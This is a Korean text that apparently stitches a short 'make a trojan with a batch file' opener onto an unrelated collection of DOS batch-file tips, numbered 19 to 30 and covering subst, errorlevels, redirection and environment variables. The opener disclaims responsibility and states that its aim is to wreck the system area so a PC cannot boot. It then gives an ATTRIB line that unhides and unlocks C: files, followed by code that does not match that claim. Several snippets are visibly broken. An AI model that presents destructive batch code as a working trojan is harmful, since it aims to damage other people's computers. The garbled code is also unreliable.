배치파일로 바이러스 제작하기
문제가 발생할 경우 전적으로 당사자 책임입니다.
아주 무식하고 단순한 트로이목마를 만들어보자.
지금 만드는것은 아주 초보적인 수준으로 발견즉시 탐지당할수 있으나
발견즉시 피해를 입히며 자폭할것이니 사용하기는 좋다.
목적 : 침투즉시 시스템 영역 파괴로 부팅불능
@ECHO OFF
ATTRIB C:*.* -H -R -S > NUL director.bat
echo echo %%getdir_%%>> director.bat
dir | find "Directory"> go.bat
call go
if exist director.bat del director.bat
if exist go.bat del go.bat
19. subst 명령어를 경로에 사용하기
==================================
어떤 디렉토리를 읽기 쉽게 하기 위해서 간단한 배치파일을 사용한다. 만약 subst 가 이미 설정되어서 생길 수 있는 에러를 방지한다. 그리고 마지막으로 현재 대치된 디렉토리의 현황을 보여준다.
@echo off
if exist m:nul echo The substitution has already been made
if not exist m:nul subst m: c:math
if not exist s:nul subst s: c:support
subst
20. 일주일에 한번 실행하기. (요일을 확인하기)
=============================================
요일을 환경변수에 넣는 것은 어려운 기술이다. 완전한 예는 WEEKLY.BAT에서 찾아볼수 있다. 이 기술의 핵심은 아래에 나와 있는데, 요일을 weekday_라는 환경변수에 저장하는 것이다. 일반 도스 프로그램 외에 아무런 보조 프로그램이 필요없다.
@echo off
echo.| date | find "Current" > tmp$$$.bat
echo set weekday_=%%3> current.bat
call tmp$$$
echo %weekday_%
if "%weekday_%"=="Fri" echo Thank God it's Friday
if exist tmp$$$.bat del tmp$$$.bat
if exist current.bat del current.bat
set weekday_=
사실, 위에서 %%3 대신에 %%4를 사용하면 오늘의 날짜를 확인할 수 있다.
21. 파일이름에 경로가 포함되었는지 확인하기
===========================================
우선 먼저 "확장자를 인식하기"를 보면 같은 아이디어인 것을 알 수 있다. 파일이름이 단순히 go.exe 로 이루어 졌는지, 아니면 경로를 포함해서 r:progsgo.exe와 같이 이루어 졌는지 확인하는 것은 r:progs*.exe와 같이 확장자를 사용했다면 매우 복잡한 일이다. 여기서 어떻게 되는지 설명하였다. 이를 완전히 이해했다면 확실히 배치 파일들에 대해서 이해하기 시작했다고 말할 수 있을 것이다.
@echo off
echo @echo off> tmp$$$.bat
echo set rest_=%%1>> tmp$$$.bat
echo :_next>> tmp$$$.bat
echo set prev_=%%rest_%%>> tmp$$$.bat
echo for %%%%g in (/%%rest_%%) do set rest_=%%%%g>> tmp$$$.bat
echo if ":%%rest_%%"=="%%prev_%%" goto _found>> tmp$$$.bat
echo if "%%rest_%%"=="%%prev_%%" goto _found>> tmp$$$.bat
echo if not "%%rest_%%"=="%%prev_%%" goto _next>> tmp$$$.bat
echo goto _nopath>> tmp$$$.bat
echo :_found>> tmp$$ at
echo set haspath_=yes>> tmp$$$.bat
echo goto _out>> tmp$$$.bat
echo :_nopath>> tmp$$$.bat
echo set haspath_=no>> tmp$$$.bat
echo :_out>> tmp$$$.bat
echo set rest_=>> tmp$$$.bat
echo set prev_=>> tmp$$$.bat
for %%f in (%1) do call tmp$$$ %%f
if "%haspath_%"=="yes" echo Filename %1 includes a path
if "%haspath_%"=="no" echo Filename %1 does not include a path
rem if exist tmp$$$.bat del tmp$$$.bat
set haspath_=
22. 엔터키를 누르지 않고 시간을 보기
====================================
현재의 시간을 보는 간단한 기술은 다음과 같다.
echo.| time | find /v "new"
시간을 환경변수로 저장하는 방법은 LASTBOOT.BAT을 보아라.
23. 에러레벨 값을 확인하는 다른 방법
====================================
많은 프로그램과 몇개의 도스명령어들( diskcomp, format, xcopy)은끝날 때 에러 레벨을 발생시킨다. 에러레벨의 누적적인 성질 때문에 에러 레벨을 확인하는 것은 다소 복잡해진다. 그래서 만약 에러레벨이 정확히 2인지 확인하기 위해서는 다음과 같이 한다.
if errorlevel==2 if not errorlevel==3 echo Errorlevel 2
for 명령어를 사용하는 다른 방법으로 다음을 들수 있다.
for %%e in (0 1 2 3 4 5 6 7) do if errorlevel==%%e set
_errlev=%%e
if "%_errlev%"=="2" echo Errorlevel 2
좀 더 일반적으로 다음과 같이 할 수 있다.
for %%e in (0 1 2 3 4 5 6 7) do if errorlevel==%%e set
_errlev=%%e
if "%_errlev%"=="2" echo Errorlevel %_errlev%
복잡한 배치파일에서 편리한 방법은 goto를 사용하는 것이다.
for %%e in (0 1 2) do if errorlevel==%%e goto _label%%e
goto _out
:_label0
echo Errorlevel 0
:_label1
echo Errorlevel 1
:_label2
echo Errorlevel 2
:_out
이 기술을 실제로 사용하는 예는 BOOT.BAT에서 찾아볼수 있다.
24. 배치파일의 출력을 리디렉션(redirection)하기
===============================================
배치파일 안에서의 출력은 손 쉽게 재 방향전환(redirecion)할 수 있다. 다음과 같은 example.bat 이라는 배치파일을 생각해보자.
@echo This is a redirection test> test
"example"를 실행시키면 아래의 문장을 담은 "test"라는 파일을 생성 할 것이다.
This is a redirection test
이 줄은 eoln(end of line: ascii 13 + 10)을 줄 끝에 포함하고 있다. 리디렉션 기호 '>' 앞에 아무런 공백도 주지 않는 것이 현명할때가 있다.
배치파일이 만드는 출력을 다시 재 방향전환(redirection)하는 것은 다소 복잡하다. 다음과 같은 내용을 지닌 example2.bat을 생각해 보자.
@echo This is another redirection test
실행하면,
example2 > test
출력은 화면에 나오고, 빈 test라는 파일이 생성될 것이다. 출력을 재 방향 전환 시키기 위해서는 다음과 같이 command.com 명령어 해석기를 통해서 배치파일을 실행해야 한다.( command.com은 현디렉토리나 경로에 있어야 한다.)
command /c example2 > test
이와 같이 하면 내용이 "test"라는 파일에 담길 것이다.
25. 환경저장 공간이 충분한지 확인하기
=====================================
만약 배치파일이 환경저장 변수를 사용하면, 환경저장 공간이 부족할경우가 있다. 만약 "Out of environment space"라는 메세지를 받는다
면 잘 알려진 방법을 통해서 다음과 같이 config.sys 의 shell을 설정해서 환경저장 공간을 늘릴 수 있다.
shell=c:bincommand.com c:bin /e:1024 /p
이 보다 덜 알려진 기술로는 환경저장 공간이 모자라기 전에 미리 확인해 볼수 있다. 아래의 예는 32바이트의 환경이 남아 있는지 확인한다.
@echo off
set test_=12345678901234567890123456789012
if "%test_%"=="12345678901234567890123456789012" goto _yes
echo Insufficient environment space
goto _out
:_yes
echo Sufficient environment space
set test_=
rem Whatever you wish to do
:_out
26. 드라이브를 사용 못하게 하는 간단한 방법
===========================================
임시로 드라이브를 사용하지 못하게 하려면, subst명령어를 사용하면 된다. 예는 아래와 같다.
@echo off
md c:none
subst d: c:none
다시 사용하게 하려면,
@echo off
subst d: /d
rd c:none
27. 프린터에 escape 명령어를 보내기
===================================
여기 정말 사소한 기술이 있다. 명령행에서 곧바로 프린터에게 escape sequence를 보낼 수 없다. 그러나 다음과 같은 배치파일을 이용하면 간단하다.
@echo ESC%1> prn
ESC는 진짜 escape문자로 에디터로 쓰여져야 된다. 이 방법의 한가지 결점은 라인피드를 보내는 것이다.
28. 무작위 문자열을 만든는 방법
===============================
UseNet news에서 무작위 문자열을 만드는 방법을 물어보는 사람이 있었다. 대답은 다음과 같다. 이를 확장해서 공부해보기 바란다.
@echo off
echo 10 randomize(val(mid$(time$,7,2))) > tmp.bas
echo 20 open "tmp2.bat" for output as #1 >> tmp.bas
echo 30 x$ = mid$(str$(int(rnd*10000)),2) >> tmp.bas
echo 40 print #1,"@set ramdom_=";x$ >> tmp.bas
echo 50 close #2 >> tmp.bas
echo 60 system >> tmp.bas
gwbasic tmp.bas
call tmp2
del tmp.bas
del tmp2.bat
set
29. 문자열의 길이를 알아내기
============================
문자열의 길이를 찾아내는 일은 PC Magazine January 26, 1993 issue 에 실렸다. 여기서 제안하는 방법은 PC 메거진의 방법과 근본적으로 같지만, 더 일반적이다.
@echo off
set test_=Testing the lenght of a string
echo %test_% > len$&$&$
dir len$&$&$ | find "LEN$&$&$" > go$$$.bat
echo @echo off> len$&$&$.bat
echo set length_=%% len$&$&$.bat
call go$$$
echo The lenght is %length_% bytes
del len$&$&$
del len$&$&$.bat
del go$$$.bat
30. MsDos의 버전을 환경변수로 저장하기
======================================
ADJCURS.BAT을 보면 알겠지만, 배치파일로만 버전을 알아낼 수있다.
여기에 다른 방법이 있다.
@echo off
ver > go$$$.bat
echo @echo off> ms-dos.bat
echo set version_=%%2>> ms-dos.bat
call go$$$
echo Your MsDos version is %version_%
del go$$$.bat
del ms-dos.bat